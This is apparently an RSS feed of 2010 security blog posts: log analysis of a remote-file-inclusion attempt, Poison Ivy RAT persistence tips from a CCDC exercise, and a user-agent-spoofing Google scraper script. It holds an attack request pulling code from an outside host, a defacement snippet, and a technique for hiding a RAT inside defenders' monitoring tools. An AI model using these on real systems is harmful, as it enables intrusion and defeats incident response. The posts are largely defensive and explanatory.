<p>In this quick little update I am going to give you a basic idea on how to use your web server’s access logs to help find compromised hosts on the internet. I will be referencing Linux mostly but the same concept would be doable on a Windows IIS server as well.</p>
<p>On my webhost I am running CPanel for site management / server management. CPanel provides the ability to access the raw logs through the portal. These raw logs are almost the same as the access_logs you would find in a standard Apache setup on Linux. If you are running windows please refer to your IIS access logs and make sure they are configure to display the proper options so you can see the requested URL.</p>
<p>The logs of your web server contain a lot of useful information. It can help you diagnose site and server issues, help to see the type of traffic you are getting (ideal for SEO and marketing), help pin point possible attacks against your sites as well as slew of other bits of useful information.</p>
<p>But we are going to use this article to discuss using them to find potential compromised hosts.</p>
<p><span style="text-decoration: underline;"><strong>Let’s take a look at a sample log:</strong></span></p>
<blockquote><p>72.x.x.x &#8211; - [26/Jan/2010:04:36:31 -0600] &#8220;GET /feed/ HTTP/1.1&#8243; 304 &#8211; &#8220;-&#8221; &#8220;Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 5 subscribers; feed-id=16402550693898658203)&#8221;</p>
<p>76.12.124.76 &#8211; - [26/Jan/2010:04:40:38 -0600] &#8220;GET /?DOCUMENT_ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt?? HTTP/1.1&#8243; 301 &#8211; &#8220;-&#8221; &#8220;Mozilla/5.0&#8243;</p>
<p>76.12.124.76 &#8211; - [26/Jan/2010:04:40:38 -0600] &#8220;GET /?DOCUMENT_ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt?? HTTP/1.1&#8243; 403 82481 &#8220;-&#8221; &#8220;Mozilla/5.0&#8243;</p>
<p>193.x.x.x &#8211; - [26/Jan/2010:04:53:53 -0600] &#8220;GET /robots.txt HTTP/1.1&#8243; 200 24 &#8220;-&#8221; &#8220;Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)&#8221;</p>
<p>72.x.x.x &#8211; - [26/Jan/2010:05:02:49 -0600] &#8220;GET /feed/ HTTP/1.1&#8243; 200 73246 &#8220;http://www.digitaloffensive.com/feed/&#8221; &#8220;Mozilla/5.0 (Compatible)&#8221;</p>
<p>77.x.x.x &#8211; - [26/Jan/2010:05:07:01 -0600] &#8220;GET /2009/10/c99-and-variant-php-shell-detection-quarantine-and-removal/insert_adhere_url_here HTTP/1.1&#8243; 404 10329 &#8220;-&#8221; &#8220;Yandex/1.01.001 (compatible; Win16; I)&#8221;</p>
<p>92.x.x.x &#8211; - [26/Jan/2010:05:30:12 -0600] &#8220;GET /2009/09/fun-with-poison-ivy/ HTTP/1.1&#8243; 200 18062 &#8220;http://www.google.com/search?hl=en&amp;safe=off&amp;q=poison+ivy+mutex&amp;aq=f&amp;aql=&amp;aqi=&amp;oq=&#8221; &#8220;Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)&#8221;</p></blockquote>
<p>As you can see above we have several different visitor types. There are several spiders / bots that came by the site as well as several visitors from search engines such as Google. Though the two entries we want to look at closer are the entries that start with:</p>
<p>76.12.124.76 &#8211; - [26/Jan/2010:04:40:38 -0600]</p>
<p>This shows that access was attempted to the URL:</p>
<blockquote><p>/?DOCUMENT_ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt??.</p></blockquote>
<p>In this attempt the attacker was trying to use the remote file inclusion attack that I mentioned above. If I Google the SRC IP. I find that is a known malicious site used for automated scanning and distribution of malware. Though the part where it says ROOT= ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt?? is why you guys are here.  If you visit this URL directly you will see that the attacker uploaded the following defacement code (<span style="color: #ff0000;"><strong>WARNING:</strong><span style="color: #000000;">Going to these URL&#8217;s may cause damage to your computer) </span></span>:</p>
<blockquote><p>&lt;?php /* Fx29ID */ echo(&#8220;FeeL&#8221;.&#8221;CoMz&#8221;); die(&#8220;FeeL&#8221;.&#8221;CoMz&#8221;); /* Fx29ID */ ?&gt;</p></blockquote>
<p>Basically this code would get rendered into the remote host via the remote file inclusion defacing the site to show his tag. It will then use the php command die to stop the rest of the page from loading only showing their tag.</p>
<p>Now if we were malicious we could use Google or your favorite security site to research known vulnerabilities for osCommerce to compromise the site as well. You could also do additional research on the site to help gain more of a idea of how the attack was carried out and maybe even the version of the software they are running be it osCommerce or something else like phpBB.</p>
<p>Though since we are good folks we will contact the site owners and let them know about the compromise. We also blocked the blocked the source IP address as well.</p>
<p>If you want to quickly analyze your logs for things like this I would suggest using a little command line fu on your favorite Linux distribution. For example:</p>
<p>cat /var/log/httpd/access_log | grep *.txt | grep –v robots.txt</p>
<p>This will display all the access attempts that have .txt and not any attempts for robots.txt.</p>
<p>As always I hope this provided you with some useful information. If you have any questions please feel free to let us know.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F01%2Fusing-your-web-server-logs-to-find-compromised-web-servers%2F&amp;linkname=Using%20your%20web%20server%20logs%20to%20find%20compromised%20web%20servers"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/01/using-your-web-server-logs-to-find-compromised-web-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Poison Ivy Revisited</title>
		<link>http://www.digitaloffensive.com/2010/01/poison-ivy-revisited/</link>
		<comments>http://www.digitaloffensive.com/2010/01/poison-ivy-revisited/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 18:06:28 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=103</guid>
		<description><![CDATA[Poison Ivy Revisited
Over a year ago I wrote a post on the Poison Ivy Trojan (Tool) by the team over at http://poisonivy-rat.com. The original post can be found here http://digitaloffensive.genxweb.net/2009/09/fun-with-poison-ivy/. I wanted to take a few minutes to add another function I discovered at the last CCDC that made this tool that much better.
If you [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Poison Ivy Revisited</strong></p>
<p>Over a year ago I wrote a post on the Poison Ivy Trojan (Tool) by the team over at <a title="http://poisonivy-rat.com" href="http://poisonivy-rat.com/" target="_blank">http://poisonivy-rat.com</a>. The original post can be found here <a href="http://digitaloffensive.genxweb.net/2009/09/fun-with-poison-ivy/">http://digitaloffensive.genxweb.net/2009/09/fun-with-poison-ivy/</a>. I wanted to take a few minutes to add another function I discovered at the last CCDC that made this tool that much better.</p>
<p>If you read my original post on this tool at the link above you will see in the third paragraph where it says “Screen 3” I mention how you can inject this into processes. Not only does it inject into the process but every time the process is called Poison Ivy is re-executed.  Now this was helpful because most of the kids at the CCDC were expecting to see Poison Ivy used again as it was in the past and they had a good idea on how to find it and stop it. So we had to become craftier then them. So I decided to attach it to the cmd.exe as well as the security tools they were using to monitor our connections such as TCPview and TCPKiller. This allowed Poison Ivy to continue running every time they tried to stop us.</p>
<p>This brings up another good point when ever doing forensics work on a computer that may be infected either check the md5 sum of the tools that you are using on the machine or bring your own tools to run on a non writeable media. This will make sure that you are not causing any additional damage and that the results you are receiving are correct and not altered.</p>
<p>As I play with this more and as it is warranted I will add additional Tips about this powerful RAT. IF you have any questions or concerns please feel free to contact me.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F01%2Fpoison-ivy-revisited%2F&amp;linkname=Poison%20Ivy%20Revisited"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/01/poison-ivy-revisited/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Calculator Scraper</title>
		<link>http://www.digitaloffensive.com/2010/01/google-calculator-scraper/</link>
		<comments>http://www.digitaloffensive.com/2010/01/google-calculator-scraper/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 19:07:08 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=97</guid>
		<description><![CDATA[Recently I was reading an article about using Ruby on Rails to create a web scraper as I sat there and learned Ruby I got really excited to jump to the point and build a web scraper. Though as any programmer knows that is not possible until you have the base understanding of the language [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I was reading an article about using Ruby on Rails to create a web scraper as I sat there and learned Ruby I got really excited to jump to the point and build a web scraper. Though as any programmer knows that is not possible until you have the base understanding of the language down. So to solve my dilemma I set forth to try to write one via a shell script.<br />
I was not sure what I wanted to scrap so after a few hours of thinking I decided to basically make a calculator using Google’s calculator feature.  Basically a user will be able to do basic arithmetic for any two numbers and get the answer via Google. If you want to try this manually go to Google and type 1+2 and hit enter. It is that simple, well close to that simple.<br />
To start off I ran several different manual tests to see what the URL should look like depending on the operator I used. I found out that all operators acted like they should accept addition the “+” gets converted to “%2B” this proposed a small issue but nothing that a little extra scripting could not resolve.<br />
To get around this and to make the program interactive for the user I did this:</p>
<blockquote><p>#!/bin/bash<br />
#######################################<br />
## Simple Google Query and web scraper<br />
## Written by Michael LaSalvia<br />
## http://www.digitaloffensive.com<br />
## Created: 1/15/09<br />
#######################################<br />
##Variables<br />
tFile=gmath.txt<br />
oFile=rmath.txt<br />
rm $tFile<br />
echo &#8220;If there was a error above this line that is ok&#8221;<br />
echo &#8220;###################################&#8221;<br />
echo &#8220;# Press (a) for addition          #&#8221;<br />
echo &#8220;# Press (s) for subtraction       #&#8221;<br />
echo &#8220;# Press (m) for multiplication    #&#8221;<br />
echo &#8220;# Press (d) for division          #&#8221;<br />
echo &#8220;###################################&#8221;</p>
<p>echo -e &#8220;What do you want to do:&#8221;<br />
read Mmath<br />
case $Mmath in<br />
&#8220;a&#8221;) dMath=%2B &amp;&amp; echo &#8220;You chose addition&#8221;;;<br />
&#8220;s&#8221;) dMath=- &amp;&amp; echo &#8220;You chose subtration&#8221;;;<br />
&#8220;m&#8221;) dMath=* &amp;&amp; echo &#8220;You chose multiplication&#8221;;;<br />
&#8220;d&#8221;) dMath=/ &amp;&amp; echo &#8220;You chose divsion&#8221;;;<br />
esac</p></blockquote>
<p>Now that we know what arithmetic the end user wants to do we need to find out what variables they want to use. To do this we do this:</p>
<blockquote><p>echo -e &#8220;Enter first number:&#8221;<br />
read nNum1<br />
echo -e &#8220;Enter Second number:&#8221;<br />
read nNum2</p></blockquote>
<p>Now that we have all the needed variables comes the fun part. We now need to construct the URL, but since it is Google and they do not allow automated responses we need to make our script look like a real user agent as well. (<span style="color: #ff0000;"><strong>WARNING: </strong></span>This may break Google’s AUP). To do this we used the following code:</p>
<blockquote><p>wget &#8211;header=&#8221;User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)&#8221; &#8220;http://www.google.com/search?hl=en&amp;safe=off&amp;q=$nNum1$dMath$nNum2&#8243; -q -O $tFile</p></blockquote>
<p>The user agent we chose to masquerade as was Internet Explorer 8. You will also notice that we outputted the file to a “known” file. This makes the rest of the process much easier and simpler to code.<br />
Now that we have the full page downloaded we need to find just the information we want. To do this I first manually reviewed the source code of the page and notice that no matter what math problem I entered the source code always had the following around each problem EX.</p>
<p>Code: style=&#8221;font-size: 138%;&#8221;&gt;&lt;b&gt;999 + 998 = 1&lt;font size=&#8221;-2&#8243;&gt; &lt;/font&gt;997&lt;/b&gt;</p>
<p>So to remove everything except what I wanted I used the following code:</p>
<blockquote><p>cat $tFile | awk -F &#8220;138%\&#8221;&gt;&lt;b&gt;&#8221; {&#8216;print $2&#8242;} | awk -F &#8220;&lt;/b&gt;&#8221; {&#8216;print $1&#8242;} &gt; $oFile<br />
echo &#8220;Your answer is:&#8221; &amp;&amp; cat $oFile</p></blockquote>
<p>You will notice that I did not clean the file fully, that is because I noticed that when it was echoed to the terminal the html that was left did not show and instead of sitting there using “sed” to fully clean it up I left it as is.<br />
I hope you have learned something from this. If you have any questions or concerns please feel free to contact me.</p>
<p>Here is a screen shot:</p>
<p><a href="http://www.digitaloffensive.com/wp-content/uploads/2010/01/math.jpg"><img class="alignleft size-medium wp-image-100" title="math" src="http://www.digitaloffensive.com/wp-content/uploads/2010/01/math-232x300.jpg" alt="" width="232" height="300" /></a></p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F01%2Fgoogle-calculator-scraper%2F&amp;linkname=Google%20Calculator%20Scraper"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/01/google-calculator-scraper/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updates: 1/15/10</title>
		<link>http://www.digitaloffensive.com/2010/01/updates-11510/</link>
		<comments>http://www.digitaloffensive.com/2010/01/updates-11510/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 14:52:02 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=92</guid>
		<description><![CDATA[Well it’s been a slow few months now and not much to write about or time to research topics to write about. So if you have any ideas thoughts of something you like to know more about let me know and if I choose your topic I will post the results of my research here.
I [...]]]></description>
			<content:encoded><![CDATA[<p>Well it’s been a slow few months now and not much to write about or time to research topics to write about. So if you have any ideas thoughts of something you like to know more about let me know and if I choose your topic I will post the results of my research here.</p>
<p>I have updated the Wordpress code on the site as well as added Wordpress Security scanner to detect malicious files and help to thwart any hack attempts. I have also added a share mod to this site so you can instantly post my posts to Facebook, Twitter, Digg and so on.<br />
Till next time take care.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves /> <w:TrackFormatting /> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF /> <w:LidThemeOther>EN-US</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> <w:SplitPgBreakAndParaMark /> <w:DontVertAlignCellWithSp /> <w:DontBreakConstrainedForcedTables /> <w:DontVertAlignInTxbx /> <w:Word11KerningPairs /> <w:CachedColBalance /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math" /> <m:brkBin m:val="before" /> <m:brkBinSub m:val="&#45;-" /> <m:smallFrac m:val="off" /> <m:dispDef /> <m:lMargin m:val="0" /> <m:rMargin m:val="0" /> <m:defJc m:val="centerGroup" /> <m:wrapIndent m:val="1440" /> <m:intLim m:val="subSup" /> <m:naryLim m:val="undOvr" /> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w:LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w:LsdException Locked="false" Priority="39" Name="toc 1" /> <w:LsdException Locked="false" Priority="39" Name="toc 2" /> <w:LsdException Locked="false" Priority="39" Name="toc 3" /> <w:LsdException Locked="false" Priority="39" Name="toc 4" /> <w:LsdException Locked="false" Priority="39" Name="toc 5" /> <w:LsdException Locked="false" Priority="39" Name="toc 6" /> <w:LsdException Locked="false" Priority="39" Name="toc 7" /> <w:LsdException Locked="false" Priority="39" Name="toc 8" /> <w:LsdException Locked="false" Priority="39" Name="toc 9" /> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w:LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w:LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w:LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w:LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w:LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w:LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w:LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w:LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w:LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w:LsdException 